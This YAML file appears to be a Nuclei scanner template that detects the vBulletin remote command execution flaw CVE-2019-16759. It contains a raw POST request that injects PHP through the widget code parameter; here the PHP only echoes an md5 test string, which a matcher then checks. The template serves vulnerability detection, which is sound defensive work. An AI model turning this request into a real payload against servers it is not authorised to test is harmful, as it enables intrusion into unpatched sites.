50 lines
1.9 KiB
YAML
50 lines
1.9 KiB
YAML
id: CVE-2019-16759
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info:
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name: vBulletin 5.0.0-5.5.4 - Remote Command Execution
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author: madrobot
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severity: critical
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description: vBulletin 5.0.0 through 5.5.4 is susceptible to a remote command execution vulnerability via the widgetConfig parameter in an ajax/render/widget_php routestring request. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
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remediation: |
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Upgrade vBulletin to a version that is not affected by CVE-2019-16759.
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reference:
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- https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/vbulletin-remote-code-execution-cve-2020-7373/
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- https://seclists.org/fulldisclosure/2019/Sep/31
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- https://www.theregister.co.uk/2019/09/24/vbulletin_vbug_zeroday/
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- https://nvd.nist.gov/vuln/detail/CVE-2019-16759
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2019-16759
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cwe-id: CWE-94
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epss-score: 0.97534
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epss-percentile: 0.99992
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cpe: cpe:2.3:a:vbulletin:vbulletin:*:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 1
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vendor: vbulletin
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product: vbulletin
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shodan-query: http.component:"vBulletin"
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tags: cve,cve2019,rce,kev,seclists,vbulletin
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http:
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- raw:
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- |
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POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo%20md5%28%22CVE-2019-16759%22%29%3B
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matchers-condition: and
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matchers:
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- type: word
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words:
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- "addcc9f9f2f40e2e6aca3079b73d9d17"
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- type: status
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status:
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- 200
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# digest: 4b0a0048304602210099cb13abd88874a8b2f03ab11488fab65eb35648f5c9c009b80ca1fa42dba748022100e308279142d547bc5a5de4b2f603f7a6b524b3143ce7c3b8b7a370720445e250:922c64590222798bb761d5b6d8e72950 |